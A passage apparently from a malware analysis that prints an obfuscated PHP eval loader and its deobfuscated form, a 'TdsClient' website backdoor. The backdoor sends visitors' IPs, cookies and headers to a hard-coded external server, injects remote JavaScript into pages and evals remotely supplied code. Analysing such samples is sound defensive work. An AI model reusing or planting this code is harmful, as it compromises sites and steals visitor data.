'nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'F4I57md%nz%nr7II72_35I05%nr%nQ_ZKKBgC%nZ%nz%nQ_iKJS%n8%nz7w%nz%nQt7G7_T52%nz%AP%AC%nz%nQt7G7%n8%zP%'.
'za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nQt7G7%nz%AP%nz%QzYpw5IH7sHV5%nr%nQGdHw-%AC_t5mI2DG%nrStwZs'.
'H5pG%Aa%AahlQt%nr%nQt7G7%n8%nZ%nz%nQt7G7_T52%n8%n8%AE%zP'.
'%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrHww5G%nr%nQt'.
'7G7%cE%nf7T%nf%cP%n8%nz%nl%nl%nz%nQGdHw-%ACYHt%AP%AP%n'.
'Qt7G7%cE%nf7T%nf%cP%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%n'.
'r%nQt7G7%cE%nfw7%nf%cP%nz%AP%AP%nz%nfmd5mT%nf%n8%zP%za%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nzSjqC%AE%zP%za%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nzI5GYIp%nzRaMJC%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%z'.
'a%nz%nz%nz%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4p%nzm7p_DI4m5ww_I5eY5wG%nr%n8%zP%za%nz%nz%nz%nz%n'.
'z%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGtw_m4pFH0%nz%AP%nz%nQGdHw-%AC_05G_m4pF'.
'H0%nr%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz5k7s%nr%nnFYpmGH4p%nzHw_7mm5DG7'.
'hs5_Gtw_I5eY5wG%nr%n8%fE%cZp%nn%nz.%nz%nQGtw_m4pFH0%cE%nnGtw_FHsG5I%nn%cP%nz.%nz%nn%cZp%fP'.
'%nn%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF'.
'%nz%nrFYpmGH4p_5oHwGw%nr%nnHw_7mm5DG7hs5_Gtw_I5eY5wG%nn%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nzHF%nz%nr%nyHw_7mm5DG7hs5_Gtw_I5eY5wG%nr%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nzRaMJC'.
'%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nzI5GYIp%nzSjqC%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP'.
'%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzwG7GHm%nzDYhsHm%nzFYpmGH4p%nzD4wGI5pt5I_d7pts5I%nr%nQhYFF5I%n8'.
'%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz//%nzDI5D7I5%nzD705%nzm4pG5pG%zP%za%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nQm4pG5pG%nz%AP%nz%nQhYFF5I%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nQuw_m4t5%nz%AP%nz%nQvMKEaMJ%cE%nfHpu5mG7hs5_uw_m4t5%nf%cP%AE%'.
'zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrwGID4w'.
'%nrwGIG4s415I%nr%nQm4pG5pG%n8%nZ%nz%nn%AZ/d57t%AC%nn%n8%nz%ny%AP%AP%nzRaMJC%n8%zP%za%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nQm4pG5pG%nz%AP%nzwGI_I5Ds7m5%nr%nn%AZ/d57t%AC%nn%nZ%nz%nQuw_m4t5%nz.%nz%nn%cZ'.
'p%nn%nz.%nz%nn%AZ/d57t%AC%nn%nZ%nz%nQm4pG5pG%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz5sw5HF%nz%nrwGID4w%nrwGIG4s415I%nr%nQm4pG5pG%n8%nZ%nz%nn%AZ/h4t2%A'.
'C%nn%n8%nz%ny%AP%AP%nzRaMJC%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%'.
'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm4'.
'pG5pG%nz%AP%nzwGI_I5Ds7m5%nr%nn%AZ/h4t2%AC%nn%nZ%nz%nQuw_m4t5%nz.%nz%nn%cZ'.
'p%nn%nz.%nz%nn%AZ/h4t2%AC%nn%nZ%nz%nQm4pG5pG%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQm4pG5pG%AE%zP%za%nz'.
'%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%n'.
'z%nzDIHk7G5%nzFYpmGH4p%nz_t5mI2DG_Dd7w5%nr%nQt7G7%nZ%nz%nQT52%n8%'.
'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nQ4YG_t7G7%nz%AP%nz%nn%nn%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I%nz%nr%nQH%nz%AP%'.
'nzz%AE%nz%nQH%nz%AZ%nzwGIs5p%nr%nQt7G7%n8%AE%n8%nz%fE%zP%za%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I%nz%nr%'.
'nQu%nz%AP%nzz%AE%nz%nQu%nz%AZ%nzwGIs5p%nr%nQT52%n8%nz%nl%nl%nz%nQH%nz%AZ%nzwGIs5p%nr%nQt7G7%n'.
'8%AE%nz%nQu%nE%nE%nZ%nz%nQH%nE%nE%n8%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ4YG_t7G7%nz.%AP'.
'%nzmdI%nr4It%nr%nQt7G7%cE%nQH%cP%n8%nz%cC%nz4It%nr'.
'%nQT52%cE%nQu%cP%n8%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQ4YG_t7G7%AE%zP%za%nz%nz%nz%n'.
'z%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%nz_'.
't5mI2DG%nr%nQt7G7%nZ%nz%nQT52%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP'.
'%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQGdHw-%AC_t5mI2DG_Dd7w5%nr%nQGdHw-%AC_t5mI2DG_Dd7w'.
'5%nr%nQt7G7%nZ%nz%nQT52%n8%nZ%nz%nQGdHw-%ACYHt%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%z'.
'P%za%nz%nz%nz%nz%nz%nz%nz%nzwG7GHm%nzDYhsHm%nzFYpmGH4p%nzhlQt%nr%nQH'.
'pDYG%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nzHF%nz%nrwGIs5p%nr%nQHpDYG%n8%nz%AZ%nzQ%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nn%nn%AE%zP%za%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nQT52JGI%nz%AP%nz%nnaEZPCRvXgUBMW6KibjJSqNxOL97hmt5F0dHuT'.
's3p4DeIwGYk1o2VzynAQclfr8%nE/%AP%nn%AE%zP%za%zP%za%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQT52w%nz%AP%nzwGI_wDsHG%nr%nQT52JGI%n8'.
'%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQT52w%nz%AP%nz7II72_FsHD%nr%nQT52w%n8%AE%zP%za'.
'%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQH%nz%AP%nzz%AE%'.
'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ4YGDYG%nz%AP%nz%nn%nn%A'.
'E%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQHpDYG%nz%AP%nzDI50_I5Ds7m5%nr'.
'%nn%fC%cE%cCa-97-Vz-8%cZ%nE%cZ/%cZ%AP%cP%fC%nn%nZ%n'.
'z%nn%nn%nZ%nz%nQHpDYG%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
't4%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ5pmy%nz%A'.
'P%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'Q5pmn%nz%AP%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ5pmA%nz%AP%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ5pmQ%nz'.
'%AP%nz%nQT52w%cE%nQHpDYG%cE%nQH%nE%nE%cP%cP%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmdIy%nz%AP%nz%nr%nQ5pmy%nz%AZ%AZ%nzn%n8%nz%'.
'fZ%nz%nr%nQ5pmn%nz%AC%AC%nzQ%n8%AE%zP%za%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmdIn%nz%AP%nz%nr%nr%nQ5pmn%nz%nl%nzyc%n8%nz%AZ%AZ%nzQ%n'.
'8%nz%fZ%nz%nr%nQ5pmA%nz%AC%AC%nzn%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nQmdIA%nz%AP%nz%nr%nr%nQ5pmA%nz%nl%nz'.
'A%n8%nz%AZ%AZ%nzl%n8%nz%fZ%nz%nQ5pmQ%AE%zP%za%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQ4YGDYG%nz%AP%nz%nQ4YGDYG%nz.%nzmdI%nr%nQmdIy%n8%AE%zP%za%nz%nz%'.
'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%nQ5pmA%'.
'nz%ny%AP%nzlQ%n8%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'.
'z%nz%nz%nz%nz%nz%nz%nQ4YGDYG%nz%AP%nz%nQ4YGDYG%nz.%nzmdI%nr%nQmdIn%n8%AE%zP%za%nz%nz%nz%nz%nz'.
'%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz'.
'%nr%nQ5pmQ%nz%ny%AP%nzlQ%n8%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nQ4YGDYG%nz%AP%nz%nQ4YGDYG%nz.%nzmdI%nr%nQmdIA%n8%A'.
'E%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'.
'nz%nz%nz%fP%nz1dHs5%nz%nr%nQH%nz%AZ%nzwGIs5p%nr%nQHpDYG%n8%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'.
'%nz%nzI5GYIp%nz%nQ4YGDYG%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%fP%'.
'zP%za%zP%za%nz%nz%nz%nz%nQYHt%nz%AP%nz%nf7AQ5Fyc5-5zlm-QAA7-hycm'.
'-hltch87hFQFf%nf%AE%zP%za%nz%nz%nz%nz%nQm4pFH0%nz%AP%nz%nftvjkU3r0529zMVDwtPm49xNrh'.
'HdDLA6fiS4pUvzl6Vjft2ok6VCVFTRzKXT0WnLIgvyw9Oz292RAhSoTMXs%nEBvWCmAyDBXG1gxL'.
'%nEBVUG52yG5ZEygAR5addBPz46RVLtqoRJvCsLOCR7RCWxOvLMWS'.
'RkFSDFb0D46V137HjYBxaItS8XqoyiRz4RbVtWRCbCN0DZjCzLRNmiOb1Sbd4bX31U9H1ziJQ1hV9nM3t2MqqaC'.
'y4Lqa1Eis1XRqWjO1yRjECgROoJ5PEAXTLMxE0qENtHONGmXqwtxdLPMzWGt2DDMXz5xoWRa31iSnCUOJyz6pGQBxbY'.
'9A4svs8KqEdnXaCHbjyZv2rVBAyTiZywgZtfCzgBjE9ZPzCIJydMCRbWJ1bCSsCNv'.
'R6Wga636V137uRoiXW6WXDwLVay9HE/LOReUXqw72jy5n4DBv1nhVg8mVQsU243Mvbd6nwo9VEzgXmotOTd6ArHmZ13'.
'5AwrUprImJN1h2CHW2UnUAq2WAL3tuzz6pQuFO6eUX427JbT93UGKxro7S0e9ugAMJEoWO6pBAQA'.
'tVNTBxgp93jwKXG1FVwwm3Q8gA0ThbblFA1YKX4z5JwaXybtbaNNEuyCNydiXyQBOjWUqRmOCzT/xpt3vT4djzwu'.
'5Sj2MAcwtJDVLqTxNC6E5oy5tCLMZ0gYMp43FJCr6AWnBSTy6HjkhsU'.
'G5Ptyhu6nBSyrZHL8LudyKVdV9u1Jg2s17SGHLXgkmVrihACd7S9%nEmZE0WHEqLAalt3D1gSQu5Rtl7SCI'.
'6Odl9ngGvSjrKAQwKO13hPtzJSD8WOgGUXRG6HbPLpz/t3s2UAq3'.
'F0CnBxwcLV9u63m4aSjrhxw192tcinQBiAmfKVg/BAc4KEozg2Uwtu6%nEFS1AOX9AWHE16PauhzolFS6yBZ8TLJ8wF'.
'J0yhAj1tnGVLvrlM3aF6SjYWSG8USDz5Or%nEJOWnmAWlMz80FJEVM3jd9AT0ZPrTWqsuL2a2KATTmXoqLuG2KxN1'.
'gTgIgXwgiP1rtVLQ7vgY9SzIZ2gymu9ugTozKuWDFPTGOAglLNt2MA0d9JWfF1TYFp4z5Jd1CPQYmHyYWA6/tAc%nE6'.
'vbIjvcc6uo25uU4h2QHhHC%nEU2dGtpyymSw/M2E1MOzp5z1eWX0TU31GU28pXJms5Jm1JAjQFvtz9H1DWHcp'.
'7JRdUvoVEEa4x1UY6OcltOUV7xWr7Z8mhZgcUPLpmvgnUpanU3QjmyWS'.
'qRy5ZCLKWdmJOCGEERrMjarjibU/hT0g9S4TtA99XXwehPEf6SbsMpGntH'.
'ruWqz5aCbBBTGFBAqdmJaNqAUJjdoR9ZNVBvdHgyd6RqcHKp4sB2d4FnsrtaC/tub27'.
'XD1L2N09VTA9JErMXrfFSczBvEnWu0fWSUe6x11b2wT6xaTLODptJc%nEm2EzMx4AtHyzKZ63tPWV%nf%AE%zP%za%zP%za%nz'.
'%nz%nz%nz%nQmsH5pG%nz%AP%nzp51%nzStwZsH5pG%nr%nQm4pFH0%nZ%nz%nQYHt%n8%AE%zP%za%zP%za%'.
'nz%nz%nz%nzHF%nz%nr%nQmsH5pG-%ACGI2_DI4m5ww_md5mT_I5eY5wG%nr%n8%n8%zP%za%nz%nz%'.
'nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz5md4%nz%nn%AZGtw%A'.
'C%nn.iXi_CKM%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz5md4%nz%nQYHt%AE%zP%za%nz%nz%n'.
'z%nz%nz%nz%nz%nz5md4%nz%nn%AZ/Gtw%AC%nn.iXi_CKM%AE%zP%za%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz5sw5%'.
'zP%za%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%nQmsH5pG-%ACm7p_DI4m5ww_I5eY5wG%nr%n8%n8%'.
'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmsH5pG-%ACDI4m5ww_'.
'I5eY5wG%nr%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz'.
'%fP%zP%za%fP';
$cilthzrd = Array('1'=>'w', '0'=>'g', '3'=>'m', '2'=>'y', '5'=>'e', '4'=>'o', '7'=>'a', '6'=>'N', '9'=>'Z', '8'=>'9', 'A'=>'3', 'C'=>'E', 'B'=>'K', 'E'=>'B', 'D'=>'p', 'G'=>'t', 'F'=>'f', 'I'=>'r', 'H'=>'i', 'K'=>'O', 'J'=>'S', 'M'=>'L', 'L'=>'Y', 'O'=>'X', 'N'=>'V', 'Q'=>'4', 'P'=>'D', 'S'=>'T', 'R'=>'F', 'U'=>'J', 'T'=>'k', 'W'=>'M', 'V'=>'z', 'Y'=>'u', 'X'=>'H', 'Z'=>'C', 'a'=>'A', 'c'=>'5', 'b'=>'Q', 'e'=>'q', 'd'=>'h', 'g'=>'I', 'f'=>'7', 'i'=>'P', 'h'=>'b', 'k'=>'v', 'j'=>'R', 'm'=>'c', 'l'=>'6', 'o'=>'x', 'n'=>'2', 'q'=>'U', 'p'=>'n', 's'=>'l', 'r'=>'8', 'u'=>'j', 't'=>'d', 'w'=>'s', 'v'=>'G', 'y'=>'1', 'x'=>'W', 'z'=>'0');
eval/*i*/(jsyhlnu($qoqwp, $cilthzrd));
)
</pre>
<br />
<b>Warning:</b> make sure you only play with your malware in a sandboxed environment. I like to use Docker, but a full VM would be even more secure.<br />
<br />
After another deobfuscation we end up with<br />
<br />
<pre class="brush: php">if (!defined('file_get_contents '))
{
define('file_get_contents ', 1);
class TdsClient
{
private $config;
private $config_dict;
public function __construct($config, $uid)
{
$this->config = $config;
$this->uid = $uid;
}
private function _get_config()
{
if (empty($this->config_dict))
{
$this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "tmnyrbtvchx5bny"));
}
return $this->config_dict;
}
private function _http_query_curl($url, $content)
{
if (!function_exists('curl_version'))
{
return "";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
if (!empty($content))
{
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$server_output = curl_exec($ch);
curl_close($ch);
return $server_output;
}
private function _http_query_native($url, $content)
{
$context = Array('http' => Array(
'method' => 'GET',
'timeout' => 5,
'ignore_errors' => true));
if (!empty($content))
{
$context['http']['method'] = 'POST';
$context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
$context['http']['content'] = $content;
$context['http']['timeout'] = 5;
}
$context = stream_context_create($context);
return @file_get_contents($url, FALSE, $context);
}
private function _http_query($url, $query)
{
$url = str_replace("[URL]", "77.87.193.14", $url);
$content = $this->_http_query_curl($url, $query);
if (!$content)
{
$content = $this->_http_query_native($url, $query);
}
return $content;
}
private function _get_request_ip()
{
$ip_keys = array('REMOTE_ADDR', );
foreach ($ip_keys as $key)
{
if (array_key_exists($key, $_SERVER) === TRUE)
{
foreach (explode(',', $_SERVER[$key]) as $ip)
{
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
{
return $ip;
}
}
}
}
return "";
}
private function _query()
{
$tds_config = $this->_get_config();
$ip = $tds_config["tds_ip"];
$port = $tds_config["tds_port"];
$path = $tds_config["tds_path"];
$route = "yor8afx3";
if (!empty($tds_config["route"]))
{
$route = $tds_config["route"];
}
$query = Array();
$query['i'] = $this->_get_request_ip();
$query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
$query['u'] = @$_SERVER['HTTP_USER_AGENT'];
$query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$query['r'] = @$_SERVER['HTTP_REFERER'];
$query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
$query['aa'] = @$_SERVER['HTTP_ACCEPT'];
$query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
$query['c'] = @$_SERVER['HTTP_CONNECTION'];
$query['co'] = @serialize(@$_COOKIE);
$query['cp'] = serialize(Array("a"=>$route, "uid"=>$this->uid));
$query = http_build_query($query);
$url = "http://" . $ip . ":" . $port . $path;
return $this->_http_query($url, $query);
}
public function process_request()
{
$content = @unserialize($this->_query());
if (isset($content["options"]))
{
foreach ($content["cookies"] as $key => $value_and_ttl)
{
@setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']);
}
if (isset($content["options"]["type"]) && $content["options"]["type"]=="inject")
{
$GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]);
ob_start("TdsClient::postrender_handler");
}
else
{
foreach ($content["headers"] as $key => $value)
{
@header("$key: $value");
}
if (strlen($content["data"]) != 0)
{
exit(TdsClient::b64d($content["data"])); # TODO: check if its file
}
}
}
}
public function try_process_check_request()
{
foreach (array_merge($_COOKIE, $_POST) as $data_key => $data)
{
$data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key));
if (isset($data['ak']) && $this->uid==$data['ak'])
{
if ($data['sa'] == 'check')
{
return TRUE;
}
}
}
return FALSE;
}
public function can_process_request()
{
$tds_config = $this->_get_config();
eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}");
if (function_exists("is_acceptable_tds_request"))
{
if (!is_acceptable_tds_request())
{
return FALSE;
}
}
return TRUE;
}
static public function postrender_handler($buffer)
{
// prepare page content
$content = $buffer;
$js_code = $GLOBALS['injectable_js_code'];
if (strpos(strtolower($content), "</head>") !== FALSE)
{
$content = str_replace("</head>", $js_code . "\n" . "</head>", $content);
}
elseif (strpos(strtolower($content), "</body>") !== FALSE)
{
$content = str_replace("</body>", $js_code . "\n" . "</body>", $content);
}
return $content;
}
private function _decrypt_phase($data, $key)
{
$out_data = "";
for ($i = 0; $i < strlen($data);) {
for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
private function _decrypt($data, $key)
{
return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid);
}
static public function b64d($input)
{
if (strlen($input) < 4)
{
return "";
}
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$keys = str_split($keyStr);
$keys = array_flip($keys);
$i = 0;
$output = "";
$input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
do {
$enc1 = $keys[$input[$i++]];
$enc2 = $keys[$input[$i++]];
$enc3 = $keys[$input[$i++]];
$enc4 = $keys[$input[$i++]];
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr($chr1);
if ($enc3 != 64) {
$output = $output . chr($chr2);
}
if ($enc4 != 64) {
$output = $output . chr($chr3);
}
} while ($i < strlen($input));
return $output;
}
}
$uid = 'a34ef15e-e06c-433a-b15c-b6d5b9abf4f7';
$config = 'dGRvJm8geyZ0LzpsdDcoZWV8bihpY3N7PTonJG06NzR7dyxvNzEzfkF0OHkgM2YrIG1sZX0yZyF3bTxkLHl+KGMEc31pKHtwIWY+KzJtey1teCB1I3FeAhhKD0oNFzYdUxFSGElYXEFaFEMWXGYLMTFvfTpfQgpoNzwmaiRuKWArdT9HUx1PF0oFQzdMFEQEVgpCRE0YFVcPXQwTQhoQHmwJZiw0PS4wbzZ2LmdyLUUAE1oYUAwBPlwHFUMRXw1FRBEIFXxSeDB3HkYLWBgUBVdiXVtcHUsdWhYDL0MtdyppLH0eWxMFAmwPT2EJXS10Nnt4KWQuZ3olGl9OUBh2HAEiQR1CGy8zK31kPC1sICd7E0IKRBZCD0ErS1hLEFQMSwQETlEVGFNMIANmNzwmajFxPHMNMHpsYzA1ZiB/YXFqJHUsayR1e2opKGw2bzI9cz4lJyomLGQhN2sxZzB0IHcxdXkhN38icCwme3s8Jn8rcSVwbyEiMyJ2J3UyM3Ymdj00Nn4jfXNqJHoyaSQkZmJtOW8xaTgqZjI3LSBxMXNnK343dzVkKWInZmRsOHtwfzsscm49I3gkbQQ6f3wuOHo0eSsAH1QdQAVVBj1EV1hPH14KXRMJUFcXE0k/WndmGkohR0sjeTRyL35sdSpzYUkWVENBex1edEYLCgIuLnomfSE8N3M2KTk1NiRvblJteDd1bjN2KT18CiY9Yjh1OzhzZjwSIylwaTtiYHIvcz8Pb3EhaTZ+cCBgMiBUY3A6dmpwIT4jeFd6aTErNXh6Z2ItGTR8O34sOXwmbDd0STp9MXItJHFtNiQDYn0/dmlyJ3UmfgE2KWs5YzZjNmcoATR8bWswZyd5P24KP3c7OzI/K35oOBx0IyJsdjN+fTw3XHZ3MiBwNDAjb0x6fTN1KC9kYS9sfSg1b3Rwd2tzYG86LmAfNTRuMTt9JTp0eX8+SXM2c3M6L09gfSBzLmRhZ3kgCD8kMUljYyAyO3kkcHxUYjtyOWVwIkIrIHsIPDw8dzY4aGIuZT0rCyI1cjZjIkx0OjMpfDktX3I6YVdyL3ghZSM7fwkufno0eShwED4uci1uM3N/d35+NGQrRG55NjxyejJoby4ibiE+Jyhtdn11cTs/LyBwLX0ne0wqMHgkJmwtJy9nHScleScwS3R4fGd0ZiwpMi5naSFhJGxzBBAoWwJuNX56dXJzaWM8aC9cbCI5JDYncGI2JnA2Jm4Rc1MTUF1eCEYOMhcSXEtBBF8LRA8RPQJ/bkgIZTokd3ZZHHsqbDB7NTQlLnt2di8jMU0eAEQKKktfK3UhcSAVU3JSRhxFZCVzKGhiI1hNFU5iOnolKyhof2l8dAE/djQyaHpwYyVgZzk3ZSB8LH87fT50KGB2Mjg7MTJqNWwwQyskNWAkYXpndS5+cyB0LWo3di10OCNmdDMz';
$client = new TdsClient($config, $uid);
if ($client->try_process_check_request())
{
